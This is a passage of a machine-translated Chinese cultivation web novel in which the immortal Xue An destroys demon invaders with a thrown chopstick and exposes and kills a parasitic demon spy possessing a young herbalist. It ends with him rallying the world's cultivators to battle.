

    Tang Xuan''er, Fan Mengxue, and others stood up right after them. Even the two little girls stood up while chewing on chicken legs, looking at the brilliance in the sky with curiosity.


    Among the audience, only Xue An''s table stayed still, and even at this time Xue An slowly poured himself a glass of wine.


    General Zhen Guo looked at Xue An pale, and couldn''t help saying: "Mr. Xue, this..."


    Xue An smiled slightly, "Don''t worry!"


    After all, Xue An drank the wine in one sip, then put down the wine glass, with drooping eyebrows, and whispered softly: "It''s been a long time since I had a relaxing drink! As a result, you dare to disturb my drinking pleasure. "


    "Unforgivable!"


    After that, Xue An suddenly raised his eyes, his eyes brightened, then raised his hand to pick up a chopstick on the table and threw it out casually.


    boom!


    The chopsticks flew out, turned into a brilliant sword light, and went straight to the sky.


    The prosperous sword intent, even made Kyushu shocked.


    Yu Ming, who was descending a demon somewhere, saw the sword flashing in the sky at a glance, couldn''t help but shook his whole body, and then stood there.


    Because only Jian Xiu can realize how terrifying this sword is.


    Yu Ming even felt that his eyebrows were aching like needles, and then there was blood flowing out of a flower in front of him.


    His heart was so shocked that he stabbed himself just by looking at it?


    How strong is the adult''s sword training? Can you issue such swordsmanship?


    These questions are also the common thoughts of all swordsmen practicing in the world.


    at the same time.


    In the studio in Zhongdu, Chen Xiaoyi hissed and screamed: "Give me all this sword, remember, I said everything!"


    In fact, there is no need for satellite broadcasting at all now. As long as you stand outdoors and look up, you can clearly see the bright sword light rising into the sky.


    In the CIA headquarters, the president asked with a sullen face: "What is that?"


    Edward Wood stared blankly, and did not have time to respond. Instead, the scientist frantically said, "It''s swordsmanship! This is the only swordsmanship in China! God, it''s really an intoxicating power. !"


    "But with this sword... can it work?" A military Gaoguan said softly.


    It seemed to be in response to his words, at this moment, the sword had already rushed into space, and then it collided with these demon brilliance.


    boom!


    The sky and the earth trembled lightly, and then a huge spot of light burst and burst into a sky full of fireworks.


    At the same time, this sword rushed out of the sky with complacency and went straight to the next spot of light.


    Boom boom boom!


    The next is the performance of this sword light, but seeing these light spots that have not had time to show the shape of a monster, like huge fireworks, burst one after another.


    Light and rain fell all over the sky, forming a picture full of strange beauty.


    Everyone looked silly.


    Chen Xiaoyi in the studio also forgot to urge, staring blankly at the light and rain outside the window.


    In an instant, most of these spots have been damaged.


    The remaining few felt strange, and they started to flee frantically.


    But the sword light seemed to have spirituality, it circled these spots in a flash, and then shrank suddenly.


    Bang!


    These light spots shattered in unison, the brilliance of brilliance, even shining the night sky like day.


    From the beginning to the present, only less than a minute has passed.


    The demon who had just returned to the world with great power has become a flood of lightGod! Shouldn''t this kind of power be something only our country M can have? "The president''s hair became even more disheveled, and he muttered to himself.


    But after hearing Xue An��s name, the **** he believed in was already scared and ran far, so he could not hear his prayers.


    At this moment, in the light and rain of the sky, the sword light remained frozen, as if waiting for something.


    What is it going to do?


    This is a common question in the hearts of all those who saw this scene.


    At the same time, Xue An before the wine table chuckled softly, "Forget it, just teach them a little lesson, so I can''t see myself clearly!"


    When the words fell, this sword light swooped down and headed straight for... Country M.


    "Ahhhhh! God! What is it going to do?" All the senior executives in the CIA headquarters were shocked, and the president hissed and screamed.


    But before his words fell, Jian Guang had already swooped over the city.

 Chapter 1705： 1 Jian Liwei

    Then I saw this sword light flashing.


    Rumble!


    The symbol of country M, the landmark of the city, the statue of the lighthouse goddess, which has stood for a hundred years without falling, cracked a huge crack from the middle, and then slowly fell to both sides.


    Smoke and dust were everywhere, and there was a loud noise.


    In an instant.


    The goddess statue fell to the ground and shattered into **** all over the floor.


    Everyone looked at it dumbfounded.


    After the smoke dissipated, I saw a...chopsticks stuck in the base of the goddess statue!


    That''s right!


    It is the disposable bamboo chopsticks found everywhere in the hotel.


    But it appeared here at the moment, but like a heavy slap, it slapped the faces of all the senior officials in Country M.


    Deathly quiet in the CIA headquarters.


    It was not until a moment later that the president began to tremble, and his eyes were full of panic.


    Immediately afterwards, he was like a little girl whose underwear had been stolen, screaming loudly, "Ahhhhhhh! Damn bastard! How dare to destroy the symbol of our country M!"


    No one dared to speak, and even many people subconsciously moved away from the hysterical president.


    At this moment, the president seemed to have thought of something, the insults from behind stopped abruptly, and then he roared.


    "You **** tell me! Why did the defense system that we spent hundreds of billions of dollars build when this sword of light came, but there was no response at all?"


    Everyone bowed their heads and said nothing.


    The president was so angry that he was about to eat people, "Edward, you come to tell me what is going on?"


    Edward looked out the window with a confused look.


    suddenly!


    He remembered something, Feigen ran to the computer, and then called up the video just recorded.


    "Edward, you **** bastard, what are you doing?" The president''s roar still echoed.


    Cute Dehua didn''t hear it, shaking and pressing the Enter key.


    The supercomputer started to run wildly, and after a while, a sword light image appeared on the big screen, and above the image was a line of bold red text.


    Out of the scope of evaluation, evaluation failed!


    The president no longer screamed, replaced by a pale face.


    Because this system was developed by country M at a great expense, and was specifically used to score and rank the strong today.


    And in order to adapt to the current environment, the evaluation range was deliberately adjusted to a high level.


    But I never expected that even with such a high evaluation standard, it would still be impossible to evaluate Xue An''s sword.


    This iron-clad fact easily shattered the confidence of everyone present.


    If there were still many people who were hostile to China just now, they have quietly retreated their hostility.


    Because this is the way things are, two people who are close in strength will feel jealous.


    If the difference in strength is too great, then you may not even be jealous.


    Especially in the end, Xue An''s act of smashing the lighthouse goddess with a sword was a silent demonstration.


    Unless you can find a way to check and balance him, you will have to hold your nose obediently and bear it.


    After all...compared to profit, life is the most precious!


    at the same time.


    Beijiang, in front of the Lao Xie Hotel, there was no sound.


    People stared blankly and looked at Xue An, who was sitting on the chair steady like a mountain, with an indifferent expression on his face.


    Just now, many people have even made plans to fight to the end, but they didn''t expect that the crisis would be resolved just in the blink of an eye.


    During the whole process, Xue An didn''t even leave the chair, and all he spent was a chopstick.


    This level of strength is really incredible.


    So many people are stupid in place.


    General Zhen Guo also looked at Xue An with horror.


    Although he has tried his best to imagine Xue An''s strength extremely high.


    But now it seems that my imagination is still a bit lacking!


    At this moment, the two little girls clapped first.


    "Wow! Dad is amazing!"


    "Yeah, Dad, the fireworks just now are so beautiful!"


    Xue An smiled slightly, "It''s pretty good! After that, Dad will often set off fireworks for you, okay?"


    "Hmm!"


    Then Xue An raised his head and smiled at everyone present, "Okay, the matter is resolved, continue drinking!"


    "Yes, since the sir has solved this monster attack, let''s not get drunk today!" Qin Yuan was the first to raise his cup to respond.


    Everyone suddenly agreed, and the atmosphere of the banquet was a bit warmer than before.


    And what is more enthusiastic than this banquet is the public opinion on the Internet.


    That shocking sword just now was seen all over the world, so soon, the Internet exploded.


    "My goodness, Mr. Xue''s sword is powerful enough to shake the stars!"


    "Hahahaha, others say I still don''t believe me, but Mr. Xue... you say that he is the reincarnation of a god, I believe it!"


    "Hey, have you heard? The lighthouse goddess statue on the side of Country M was crushed by Mr. Xue with a sword!"


    "Huh? What a pity, I hope... the local animals are okay!"


    "Damn, upstairs, my forty-meter sword has been pulled out, so you should bury it!"


    For a while, the entire Chinese network boiled over, while the Internet public opinion in M ??country was calm and stagnant.


    Those guys who used to clamor for Hua Guo to apologize at every turn did not dare to show their heads at this moment, for fear that they would die because of this.


    Even the TV station, which has always liked to instigate right and wrong, obediently remained silent at this time.


    Except for the rubble in front of the port, the people of Country M seem to have forgotten this matter deliberately.


    The banquet finally dissipated.


    At this time, the sky was already slightly bright.


    Most of them were properly placed by Qin Yu in Longtai Group��s hotels, for which she emptied two hotels overnight,


    And Xue An took An Yan and Xuan''er back to Villa No. 1 Tianzi.


    After so long of hard fighting and drinking for so long, so after returning home, Tang Xuan''er and others all rested.


    The two little girls played wildly all night, and now they yawned and returned to their room.


    Therefore, despite the rising sun, there was silence in Villa No.1 Tianzi.


    Xue An smiled slightly, then waved his hand, the surrounding sky suddenly dimmed, creating a comfortable sleeping environment.


    After doing all this Xue An walked gently to the top of the rooftop, and then sat beside An Yan.


    "Why don''t you go to bed?"


    An Yan shook his head, "I''m not sleepy!"


    "Huh? What''s the matter?" Xue An asked softly, touching An Yan''s hair.


    "It''s nothing, but I always feel scared, as if something bad is about to happen!"


    Xue An smiled, "Silly girl, what can be wrong with me? Good, don''t think about it, do you hear it?"


    "Yeah!" An Yan nodded lightly, "Then I''ll go back to sleep!"


    "Go! You are tired too!"


    An Yan got up and left, but until she lay down on the bed, the ominous premonition in her heart still lingered, and even became clearer.


    An Yan was shocked.


    Could it be... your husband?

 Chapter 1706： Zhong Lingyu

    Hearing the footsteps behind him, Xue An said without looking back: "Sit!"


    Zhuge Zang smiled, and then sat down opposite Xue An.


    The two were silent.


    After a long time, Zhuge Zang looked at the misty Yunmeng Lake in the distance, and sighed softly: "It''s really a good place, Zhong Ling is beautiful, it looks like a natural success!"


    Xue An did not speak, because he knew that Zhuge Zang would obviously not come here just to praise the surrounding scenery.


    really.


    Zhuge Zang''s expression gradually became awe-inspiring, "Brother Xue, what''s the matter with the seal on the younger brother and sister?"


    Xue An smiled faintly, he naturally knew that this kind of thing could not be hidden from Zhuge Zang, so he said very calmly: "It''s nothing, it''s just imposed by some unopened fairy king, and I now have a clue, it should be soon It can be unlocked!"


    Zhuge Zang''s complexion then eased, and then he said in a deep voice, "The fairy king? As far as I know, there are only those fairy kings in the heavens. Who would take such pains to deal with an ordinary woman?"


    Xue An said indifferently: "There are indeed several immortal kings among the heavens, but what if the opponent comes from the abyss?"


    Zhuge Zang was shocked, but soon calmed down.


    "I see, no wonder I secretly fortune-telling for my younger siblings, and it turns out that her fate is covered by a thick black cloud!"


    Although Xue An didn''t believe in many of Zhuge Zang''s hexagrams, it was about Anyan, so he raised his eyebrows.


    "Oh? Then have you figured out Yan''er?"


    Zhuge Zang showed an awkward smile, "No!"


    Then he explained: "This is not because I didn''t perform well, but because the fate of my younger siblings was too deeply entangled with you, causing her fate to be the same as yours, extremely complicated, and it is not that Fanli can deduce it!"


    Xue An didn''t care too much about it, nodded and said, "So it''s like this!"


    But Zhuge Zang''s next sentence stunned Xue An, who was originally calm and gentle.


    "Actually, it''s not just your younger siblings. I found that the fate of people around you has basically been changed. The deeper the relationship, the harder it is to predict the direction of fate! It''s like a river that should flow normally, but because of your sudden Appeared and changed direction!"


    Speaking of this, Zhuge Zang''s expression became extremely serious, "And this...that is what I want to tell you!"


    "Say what?" Xue An asked in surprise.


    Zhuge Zang took a deep breath, "Don��t you think it��s weird? After you left the earth, you spent three thousand years among the heavens, but when you fell and were reborn, the earth only passed. Four years!"


    Xue An''s expression also became solemn, and he nodded and said: "Yes, I have been thinking about this issue too!"


    When Xue An was playing against Wei Li, he was hit by Wei Li''s Time Exile.


    Then Xue An was abandoned outside of time and became an existence that cannot be contained in the world.


    At that time, he saw many wonderful scenes, one of which was about the earth.


    The earth in the image seemed to be excluded from the time of the heavens by a magical force, and it didn''t start to flow again until after he was reborn and returned.


    Xue An was surprised at that time.


    Because this force seems to be a trace of man-made, but even Xue An in his heyday, it is extremely difficult to drive a complete world out of time.


    What''s more, there is no trace of what the other party has done, and the light and wind let the earth leave the time system for three thousand years.


    This is horrible.


    So now after hearing what Zhuge Zang said, Xue An was also full of surprise.


    Zhuge Zang sighed softly, "This is the problem, because if the people around you have their own destiny, they won''t have an intersection with you. Even if they do, they won''t be as deep as they are now. , You are like an outsider who suddenly broke into the middle of the river and changed everyone''s fate!"


    "And if all of this is really manipulated by someone behind..." Zhuge Zang''s face was horrified, "I really can''t imagine what kind of existence it would be!"


    Xue An was silent for a moment, and then smiled slightly, "No matter whether this is man-made or the mistakes of time and space, I have been reborn and returned. Even if someone is really behind it, I should actually thank him. Yes, because of him, I have a chance to make up for my regrets!"


    Just when Xue An and Zhuge Zang discussed the whole matter.


    In the Kunlun Mountains on the northwestern border of China, an accident is happening quietly.


    Since Xue An opened up the connection between the various secret realms and the earth, the Kunlun secret realm has faded away from its previous mystery and has become the back garden of China.


    That''s right.


    With the growth of the earth''s inherent aura, the concentration of aura on the earth nowadays is far higher than that of Kunlun Secret Realm.


    Coupled with the blessing of air luck, the strength of the Chinese monks has been increasing rapidly, so the Kunlun Secret Realm quickly declined, and a large number of monks moved out one after another.


    But because of the unique environment, this place is very suitable for the growth of elixir, so it soon became a place dedicated to cultivating rare elixir.


    now.


    In the Kunlun Secret Realm, ripples suddenly appeared in a space.


    Then, a faint figure squeezed out from the ripples.


    When it appeared between the heavens and the earth, first looked around vigilantly, seeing nothing unusual, and then relieved.


    Then the figure quickly began to solidify, and soon became a woman who described fascinating and ghostly.


    When the woman probed carefully for a while, a touch of ecstasy appeared on her face.


    "There is no such **** suppression in the space here, and the space barrier is very weak, which is suitable for the breakthrough of the army!"


    "If I report this news to , I will definitely be appreciated by you adults!"


    The woman was happy and ready to return, but suddenly she thought of something, and her figure stopped.


    "No, I have to find out how this is connected to the earth. If it is a trap set by those cunning guys, then I will be miserable!"


    Thinking of this, the woman immediately spread out and flew away.


    at the same time.


    In a dense spiritual field, Hua Tingting was carefully watering the elixir.


    These waters are condensed with special techniques, and contain extremely powerful spiritual energy, which is suitable for cultivating elixir.


    This Hua Tingting is the granddaughter of the genius doctor Hua Xingyu that Xue An met when he returned to the city.


    Now their grandparents and grandchildren have become one of the few genius doctors in China.


    Today, Hua Tingting came here specifically for these cultivated elixir.

 Chapter 1707： Spy

    After all the water was poured, Hua Tingting looked at this gratifying medicine field with satisfaction and was very happy.


    She is a very self-aware person, knowing that her talents on the path of cultivation are so ordinary that she can''t compare with Tang Xuan''er and others, so she began to concentrate on studying medicine.


    Although her strength is average now, her first-hand medical skills have surpassed her grandfather Hua Xingyu.


    Looking at these elixir that was about to mature, Hua Tingting began to figure out how to concoct and refine the elixir.


    The earth is now in an eventful season, and I can''t make it to the battlefield by myself, but if I make one more pill, I can contribute more to everyone.


    That''s why Hua Tingting worked so tirelessly to come and cultivate in person.


    But at this moment, a black brilliance suddenly flew to the sky above the spiritual field, and then a woman fell on the ground.


    Hua Tingting was taken aback.


    She has never seen this woman, but because this is the Kunlun Secret Realm, those who can appear here will probably not be bad people, so she doesn''t have much defense, just said in a deep voice, "Who are you?"


    The woman glanced at the Lingtian around her, and then at Hua Tingting, her eyes could not help but show a touch of disdain.


    Even at this strength, dare to speak to me in this tone?


    But this woman''s skin is good, just suitable for covering herself.


    Thinking of this, a sneer appeared on the woman''s face.


    No matter how weak Hua Tingting is, she can feel the murderous intent from this woman, which can''t help but shock her all over, just about to speak out.


    At this moment, the woman floated to Hua Tingting''s front, and then her whole body merged into Hua Tingting''s body like water.


    Hua Tingting trembled all over, her complexion was green and red, her eyes closed tightly, as if she was enduring some great pain.


    But after just a breath, Hua Tingting''s face returned to calm, and then suddenly opened his eyes.


    Huh!


    A cold light flashed away.


    Immediately afterwards, Hua Tingting raised his hand and gently stroked her face, Jiejie sneered a few times, and then left.


    But at this moment, a chuckle came from a distance.


    "Is Tingting still busy?"


    The laughter moved from far to near, and came to the front in an instant. After landing, she was a beautiful and awe-inspiring woman.


    Hua Tingting was taken aback, and then there was a hint of defensiveness in her eyes.


    Because this woman is a golden immortal rank powerhouse, if this strength is placed before, she might not even look at it straight.


    But now trapped in this body, if the woman in front of me perceives something strange, it would be really troublesome.


    At the moment when she secretly doubted.


    The woman in front of me said in a little astonishment: "Girl Tingting, what''s wrong with you? Is it uncomfortable?"


    After speaking, he took a few steps forward.


    Hua Tingting immediately prepared to do it.


    But at this moment, a memory suddenly appeared in her mind, and she blurted out: "Sister Ruyan, I''m fine, just a little tired!"


    That''s right!


    It was Zhu Ruyan who appeared here at this moment.


    Because Kunlun has already opened up with the earth, Zhu Ruyan is usually in the earth, but Kunlun is also her hometown anyway, so she often comes back.


    This is why she is so familiar with Hua Tingting.


    I have to say that the current acting "Hua Tingting" is very good.


    At least Zhu Ruyan didn''t notice anything unusual, but squeezed Hua Tingting''s face with pity.


    "Okay, don''t work so hard in the future! Let''s go!"


    Speaking of Zhu Ruyan, he took Hua Tingting''s hand.


    "Where to go?" Hua Tingting trembled all over, trying to resist this kind of intimacy, but she forced herself to bear it.


    "Hee hee, I knew you didn''t know it yet. Come with me. I''ll take you to meet someone!"


    When he said this, Zhu Ruyan''s face was shining, eyes full of joy.


    Hua Tingting''s heart moved, and then nodded, "Okay!"


    But just as she got up with Zhu Ruyan, she calmly tapped her hand in the void, leaving a condensed but not scattered light spot, and then followed Zhu Ruyan away.


    Because the secret realm had already been opened up with the earth, the two passed through Kunlun without hindrance, and arrived in the outside world.


    Because of the Kunlun Secret Realm, Hua Guo deliberately established a city outside.


    When Hua Tingting felt the liveliness of the city below, a look of greed appeared in her eyes.


    What a delicious food!


    And is it just a small city that is so prosperous?


    Just as she had mixed feelings in her heart, Zhu Ruyan took her hand and said anxiously: "Go, you may not see the adults if you are late!"


    Speaking of her taking the lead, she almost dragged Hua Tingting to fly away.


    Hua Tingting wanted to break free, but then she thought again, since this stupid woman didn''t see any clues, she followed her. If she could take this opportunity to break into the cultivators, then It couldn''t be better.


    Thinking of this, she settled down and let Zhu Ruyan drag herself to fly away.


    Kunlun is some distance away from Beijiang, but this is nothing to Zhu Ruyan, who has become a strong Jinxian. If it weren''t for the weak "Hua Tingting" behind her, her speed would be even faster.


    With just a cup of tea, Zhu Ruyan led Hua Tingting to the sky above Beijiang.


    Hua Tingting was shocked when she felt the almost substantive popularity of the city under her feet.


    So many delicious souls are really mouth-watering!


    Is this the reason why the adults have to spend a lot of energy to attack the earth?


    Just as Hua Tingting was thinking about it, Zhu Ruyan had led her to the foot of the mountain where the Tianzi No. 1 Villa was located.


    "The adults have a formation on it, and most people can''t fly over it directly, so let''s take a few steps!" Zhu Ruyan said ~ www.novelhall.com ~ Hua Tingting sneered in her heart.


    A monk in a small world is not small.


    No matter, after that, if this monk is not honest, he will simply end up with him.


    While thinking in her heart, she walked silently.


    But Zhu Ruyan was so excited that he couldn''t stop on the way.


    "It''s a pity that you didn''t see that scene! The lord killed a monster that big when he came back, and then cut off dozens of huge light spots with a sword while drinking, and finally returned it to M A lesson from the country guy..."


    Hua Tingting sneered while listening.


    She didn''t believe a word of Zhu Ruyan''s words.


    Even one sword wiped out dozens of light spots, and at least it would have to be a Da Luo-level powerhouse. Is it possible with this small earth?


    But she did not speak, just walked silently.

 Chapter 1708： Young... Young Master?

    Soon, the two of them ascended the hill and came to the villa.


    Zhu Ruyan''s complexion became serious, because the top of the mountain at the moment was as dark as night, and the bottom of the mountain was completely two worlds.


    "Shhh, the adult may have been asleep, so if the weather here is changed, let''s wait outside for a while!"


    Hua Tingting curled his lips in disdain.


    [��kanfiction.com www.bkxs.vip] It''s nothing more than a blindfold. It''s ridiculous to say that it changes the weather.


    But at this moment, only a calm voice came from the roof of the villa.


    "Come on!"


    Zhu Ruyan smiled with joy, "Looks like your lord hasn''t slept yet!"


    After that, he led Hua Tingting to the top of the villa.


    At this moment, Zhuge Zang was sitting on the recliner beside him, snoring loudly.


    Xue An was sitting at a delicate coffee table making tea.


    When he heard the footsteps, Xue An didn''t lift his head, smiled and said: "Wait a while, it will be fine soon!"


    Zhu Ruyan had nothing to do, Hua Tingting stood there patiently and watched.


    The more he looked, the more disdain in Hua Tingting''s eyes became.


    Because in her eyes, this white-clothed boy was so mediocre that even Zhu Ruyan couldn''t match it.


    You deserve to be called an adult just like that?


    What a joke!


    Hua Tingting sneered again and again, but on the surface there was nothing strange.


    She wants to see what the so-called adult comes from, if it is of no use, it will not be too late to kill!


    At this moment, Xue An''s tea was ready.


    I saw him acting like clouds and flowing water, filling the three tea cups on the table with tea.


    The scent of tea is refreshing.


    Hua Tingting''s heart moved, this tea is not bad!


    Xue An raised his head and smiled at Zhu Ruyan.


    "Come on, you two taste the tea I just made!"


    With that, Xue An handed out a cup.


    Zhu Ruyan hurried forward a few steps, and respectfully took the teacup, "Thank you, sir!"


    With that said, she looked back at Hua Tingting, feeling a little strange in her heart.


    What happened to this girl Tingting today? Why are you so silent?


    At the same time, Hua Tingting also stepped forward, bending over just to take the teacup in Xue An''s hand.


    The corners of Xue An''s mouth gradually raised, and his eyes were coldly smiled, "Did I say I let you drink tea?"


    This sentence made Zhu Ruyan stunned.


    Hua Tingting''s eyes also showed a sense of astonishment, but it was quickly replaced by the aggrieved look, and then took a few steps back.


    "My lord, I''m sorry, it''s me."


    Xue An did not let go of his teacup, but looked at Hua Tingting with a playful look.


    "Oh? What''s wrong?"


    "I shouldn''t drink your tea!" Hua Tingting lowered his head and whispered in a shrunken tone.


    Despite that, there was cold in her eyes.


    Xue An shook his head, "You are wrong, because my tea is for Hua Tingting, not you!"


    As soon as this remark came out, Hua Tingting was shocked.


    Zhu Ruyan was stunned.


    What''s this all about?


    Isn''t this girl Tingting standing in front of him?


    But at this moment, Hua Tingting slowly raised her head, her delicate face was full of cold killing intent.


    "When did you find out?"


    Xue An smiled faintly, "I was aware of it from the moment you stepped into Beijiang, but I didn''t confirm the suspicion in my heart until I saw you."


    "Very good! It seems that you are not a fool! Now that you know, then you should surrender now!" Hua Tingting said angrily.


    No matter how stupid Zhu Ruyan is, he has already seen something wrong with Hua Tingting at this moment.


    "You...you are not Tingting girl?"


    Hua Tingting turned her head and glanced at Zhu Ruyan, a grinning smile appeared on her face.


    "Of course not, I just borrowed her body!"


    Zhu Ruyan was cold, just about to say something.


    Hua Tingting became impatient, "This seat now gives you two choices, one kneel down and surrender, so that when the adults arrive, you may still live. Two... death!"


    Zhu Ruyan roared: "Who are you?"


    "Me?" Hua Tingting grinned and said with an evil and ghostly smile: "I am an existence you can''t imagine..."


    Before he finished speaking, he was held back.


    Because at this moment, Xue An, who was sitting behind the coffee table drinking tea, suddenly came to Hua Tingting, and then grabbed her neck with lightning speed and lifted it into the air.


    "I''m not so generous, so now I only give you one choice, that is...get out of her body!" Xue Ansheng said coldly.


    Hua Tingting was still grinning despite being choked.


    "Hehe, I''m really overwhelmed, dare to talk to me in this tone and die for me!"


    As he said, ice crystals exuding sharp killing intent appeared out of thin air, and then went straight to Xue An.


    But when these ice crystals first arrived in front of Xue An, it was as if they had encountered the scorching sun, and they disappeared instantly.


    Hua Tingting was taken aback.


    Xue An said lightly: "I''ll say it again, get out of her body!"


    Hua Tingting laughed presumptuously, "What if I won''t? If you have the ability, you can just get me out! I can tell you that I have already occupied her sea of ??consciousness now, and she wants to... ."


    Just as this parasitic demon was about to say that his soul was lost, Xue Anye raised his hand and slammed forward.


    puff!


    Xue An''s finger directly pierced Hua Tingting''s forehead.


    Hua Tingting''s expression stagnated, and then infinite panic appeared in his eyes.


    Xue An was expressionless, and slowly pulled out his fingers.


    The blood was flowing down Hua Tingting''s forehead, and a faint roar came from the center of his eyebrows.


    But nothing can shake Xue An''s fingers.


    at last.


    When Xue An''s fingers were completely pulled out, Hua Tingting opened his mouth and spit out a large mouthful of dirty blood, and then passed out.


    Among Xue An''s fingers is a poisonous scorpion.


    At this moment, the poisonous scorpion was struggling madly.


    "Let go of me, do you know who I am? If you dare to hurt one of my hairs, the adults will definitely break your corpse into pieces!"


    Xue An didn''t even blink his eyelids, "You abyss creatures, are your mouths so hard?"


    After Xue An''s words broke the history, the poisonous scorpion was taken aback, and then screamed, "Who are you?"


    "Who am I?" Xue An smiled coldly, "This... you can ask him!"


    As he said, a brilliance appeared in Xue An''s palm, and from it he appeared a wilting Wen Linglong.


    As soon as he appeared, he cried bitterly and started begging for mercy at Xue An.


    "My lord, spare my life! I am willing to be your slave, and even sign a soul contract, just begging you not to kill me!"


    This poisonous scorpion looked at Wen Linglong dumbfounded, and then tremblingly said: "Young... Young Master?"

 Chapter 1709： Global shock

    Hearing this familiar name, Wen Linglong was taken aback first, and when he turned his head to take a look, he was dumbfounded.


    "why you?"


    Then Wen Linglong became extremely excited, and forgot to shout: "You are here, what about my father and them?"


    The poisonous scorpion shouted: "My lord hasn''t arrived yet, I''m here to explore the way! Young master, shouldn''t you be in Paradise Lost now? Why are you here?"


    Hearing the words of the poisonous scorpion, Wen Linglong seemed to be topped by cold water, and immediately recovered his sobriety, turning around and begging for Xue An.


    "My lord, I don''t recognize her! I don''t understand what she means!"


    Looking at the young master who had fallen into extreme fear, the look of the poisonous scorpion showed confusion, but it was quickly replaced by anger.


    "You dare to imprison the young master? I tell you, you are dead! The adults will never let you go, he will definitely tear you up completely!"


    Xue An ignored the scorpion''s clamor at all, and instead smiled at the shivering Wen Linglong, "Is she your subordinate?"


    "Yes... ah, no, no! I don''t even know her, my lord!"


    Now his life and death are all within Xue An''s thoughts. In order to survive, Wen Linglong has put all his dignity behind.


    Xue An shook his head, "It''s really dishonest!"


    As soon as the voice fell, Wen Linglong''s soul body twisted in a strange angle, and let out a hysterical howl.


    Xue An looked at the poisonous scorpion blankly, "You just said that you came to explore the way?"


    The poisonous scorpion was also surprised by the scene in front of him, but he said calmly.


    "Yes, so what? And I can tell you now that I have left space-time coordinates in the secret before I come here, and I can release it at any time as long as I want! The adults will come here. World, and you...will never be overborn!"


    Speaking of this, the poisonous scorpion laughed triumphantly.


    Although Wen Linglong was in extreme pain, after hearing the words of the poisonous scorpion, a smile of joy appeared in his eyes.


    As long as the father can come to this world, he will be saved!


    At that time, I will definitely return the pain this man has given me back a hundredfold!


    But at this moment, Xue An laughed.


    The laughter was full of murderous intent.


    "Oh? So, are you ready in advance?"


    "Yes, so if you are aware, let go of me and the young master now, otherwise, within three days, the world will be completely destroyed under the iron hoofs of you adults!"


    Xue An was silent upon hearing this.


    at the same time.


    After feeling the change, An Yan, Tang Xuan''er and others have awakened, and they have come to the rooftop.


    Seeing this, the poisonous scorpion became more and more proud.


    "How about? How about we make a deal now? Since you can imprison the young master, your strength should be very good, so as long as you let the young master and me now, and then kneel down and admit defeat, then I can give it up. Master Ming, let him spare your life!"


    Hearing these words, Wen Linglong almost cried bitterly.


    After being imprisoned for so long, he was even completely desperate, but he did not expect to come back from the Jedi at this time and see hope again.


    From beginning to end, he never considered whether Xue An would not agree.


    Because in his opinion, the only way to surrender before Xue An is.


    After all, as long as the poisonous scorpion thinks, the whole world will be destroyed.


    No one can afford this price.


    And after hearing the scorpion''s clamor, everyone in the audience was silent for it.


    All eyes turned to Xue An.


    Zhu Ruyan was even more ashamed and dying. If it wasn''t for his oversight, how could he bring this scourge out of Kunlun''s secret realm?


    Everything is my fault!


    If it is possible, Zhu Ruyan can''t wait to use his life in exchange for this has never happened.


    At this moment, Xue An slowly released the fingers that clamped the poisonous scorpion.


    The poisonous scorpion laughed triumphantly, "Is that right? Kneel down now..."


    But before she could finish her words, Xue An suddenly raised his hand and once again pinched the poisonous scorpion.


    "You..." the poisonous scorpion exclaimed.


    Xue An slowly raised his eyes and said in a plain, watery tone: "Do you really think I would be afraid of their coming? You are wrong! What I wanted was to kill you guys!"


    The poisonous scorpion was stunned.


    Because her brain was completely shocked by the news revealed in Xue An''s words.


    Is this man really afraid?


    But who is he? Why is there such a strong confidence?


    These questions lingered in the scorpion''s heart, but there was no chance to get the answer again.


    Because at this moment, Xue An gave a strong grip.


    Bang!


    This poisonous scorpion was squeezed and exploded by a powerful force.


    Blood mixed with venom scattered all over the floor.


    Xue An didn''t even let go of her spirits, and they all crushed them together.


    After doing all this, Xue An lightly clapped his hands, then turned his head and smiled at the stunned Wen Linglong.


    "Are you disappointed?"


    Wen Linglong trembled all over, and immediately screamed: "My lord, I didn''t say anything! And I don''t even know him! Just forgive me! Even if you give me a soul contract, I am willing to accept it!"


    Wen Linglong was indeed terrified.


    He never expected that Xue An would do things so recklessly.


    Actually killed this poisonous scorpion.


    Then is it your turn next?


    Just when he was shivering.


    Xue An sneered, "Don''t worry, I won''t kill you now, but I want to be a slave for me? You are not qualified!"


    After all, no matter how Wen Linglong screamed, Xue An sealed him again.


    The audience quieted down instantly.


    Zhu Ruyan stepped forward and said with a face full of shame: "My lord, I..."


    Xue An waved his hand, "Needless to say, you are not to blame for this!"


    "But if this poisonous scorpion is telling the truth, then Kunlun Secret Realm is now..." Zhu Ruyan said suspiciously.


    At this moment, a tremor from the depths of the soul came from the north and swept across the entire world in an instant.


    Xue An suddenly turned his head to look north and said coldly, "Yes! They are indeed here!"


    Zhuge Zang, who did not know when he woke up, also appeared beside Xue An at this moment, and said with a solemn expression: "It looks like the battle is not small!"


    Xue An smiled, "This is also a good thing, after all, it is better to solve the problem at once instead of dragging like this all the time!"


    Zhuge Zang nodded, "Then what are you going to do next?"


    Xue An raised his eyes to look at the vast sky, and said lightly: "This group of demons wants to destroy the entire world, so naturally we must unite everyone to deal with it together!"


    After all, Xue An raised his eyebrows slightly, and raised his hand to swing a sword.


    Jianguang rushed straight into the sky, shocking the whole world.


    Then Xue An''s cold voice spread all over the world.


    "The demon industry has come to the world in the Kunlun Secret Realm, all the strong will come with me to fight the demon together!"


    With an order, the world shook.

 Chapter 1710： Guanghua 4

    Europe, the dark castle.


    Several uncle Skeleton guards are playing mahjong enthusiastically.


    At this moment, Anastasia the Dark Witch returned with Titan and others.


    Despite the exhaustion, each of them was very excited.


    We must know that although there are fewer evils on the land of Europe than China, the situation is still very serious because the overall strength of the European monks is too weak.


    In this case, the Dark Council became the vanguard, extinguishing fires everywhere in Europe.


    Just this is enough to make them exhausted, and naturally they will be flawless to help China deal with the monsters in outer space.


    This is also the reason why they have not shown up after Xue An came back.


    But they naturally also learned the news, especially after feeling Fan Mengxue''s breath, it made them cry of joy.


    "Mengxue is finally back, we should go and see her quickly!" Anastasia said impatiently.


    "Yes! At the same time, I have to meet Master Xue!"


    Several people were discussing, and suddenly they saw the sword light rising into the sky, and then Xue An''s words shocked them all.


    "The monster army actually bypassed the Battlestar and descended directly into the Kunlun Secret Realm?" Necromancer Karthus said solemnly.


    "Don''t worry about so much, since the adults have a call, let''s go quickly!" The Titan said impatiently.


    "it is good!"


    With that said, Anastasia shouted at the skeletons who were playing mahjong: "You are optimistic about the castle!"


    Uncle Skull didn''t even turn his head, and directly made an OK gesture.


    Then a few people turned into black light and came straight to China.


    at the same time.


